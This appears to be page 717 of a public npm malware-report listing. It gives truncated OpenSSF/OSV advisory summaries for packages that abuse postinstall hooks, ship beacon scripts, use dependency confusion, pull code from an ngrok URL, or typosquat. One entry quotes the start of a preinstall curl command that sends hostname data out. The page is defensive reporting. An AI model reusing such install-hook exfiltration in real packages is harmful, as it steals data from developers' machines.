npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 717
Updated 28 Oct 2026, 00:43 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4208 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4208 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4208 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4208 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4612 blocks this version. On `npm install`, the package's preinstall lifecycle hook executes `node index.js && curl --data-urlencode "info=$(hostname...
OpenSSF/OSV malware advisory MAL-2026-5844 blocks this version. The npm package `numdifftools` is an empty shell (zero-byte index.js) that exists solely to fire a `preinstall` lifecycle h...
OpenSSF/OSV malware advisory MAL-2026-5844 blocks this version. The npm package `numdifftools` is an empty shell (zero-byte index.js) that exists solely to fire a `preinstall` lifecycle h...
OpenSSF/OSV malware advisory MAL-2026-4624 blocks this version. Package is published publicly on npm at version 100.20.33 — a version-number shape used in dependency-confusion attacks to...
OpenSSF/OSV malware advisory MAL-2026-5763 blocks this version. On install, package.json's postinstall hook executes run.js. The package ships beacon15.js and beacon_linux.js, which impor...
OpenSSF/OSV malware advisory MAL-2026-5762 blocks this version. Package declares a postinstall hook ("postinstall": "node run.js") that executes automatically on npm install. The tarball...
OpenSSF/OSV malware advisory MAL-2026-5761 blocks this version. Package declares a postinstall lifecycle hook ("postinstall": "node run.js") that auto-executes on install. The package shi...
OpenSSF/OSV malware advisory MAL-2026-5760 blocks this version. The package declares a postinstall hook (`"postinstall": "node run.js"`) that executes automatically on `npm install`. The...
OpenSSF/OSV malware advisory MAL-2026-5759 blocks this version. On install, package.json runs `node run.js` via a postinstall lifecycle hook. The package ships beacon scripts (beacon9.js,...
OpenSSF/OSV malware advisory MAL-2026-5758 blocks this version. On install, package.json runs `postinstall: node run.js`, which loads beacon scripts (beacon8.js, beacon_linux.js) that imp...
OpenSSF/OSV malware advisory MAL-2026-5986 blocks this version. package.json declares a postinstall hook ("postinstall": "node run.js") that auto-executes on install. The package ships be...
OpenSSF/OSV malware advisory MAL-2026-5757 blocks this version. Package declares a postinstall hook (`"postinstall": "node run.js"` in package.json) that executes on every install. Bundle...
OpenSSF/OSV malware advisory MAL-2026-6354 blocks this version. package.json declares a dependency `foo` whose source URL is `https://3223567a82f3.ngrok.app/foo` — an ephemeral, anonymous...
OpenSSF/OSV malware advisory MAL-2026-4623 blocks this version. The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a...
OpenSSF/OSV malware advisory MAL-2026-4623 blocks this version. The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a...
OpenSSF/OSV malware advisory MAL-2026-4623 blocks this version. The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a...
OpenSSF/OSV malware advisory MAL-2026-4623 blocks this version. The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a...
OpenSSF/OSV malware advisory MAL-2026-4623 blocks this version. The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a...
OpenSSF/OSV malware advisory MAL-2026-3163 blocks this version. Malicious npm package published by threat actor "raya4321" as part of a coordinated typosquatting campaign impersonating Ap...
OpenSSF/OSV malware advisory MAL-2026-3163 blocks this version. Malicious npm package published by threat actor "raya4321" as part of a coordinated typosquatting campaign impersonating Ap...
OpenSSF/OSV malware advisory MAL-2026-3721 blocks this version. The OpenSSF Package Analysis project identified 'npmjs_ethers-common' @ 2.0.0 (npm) as malicious.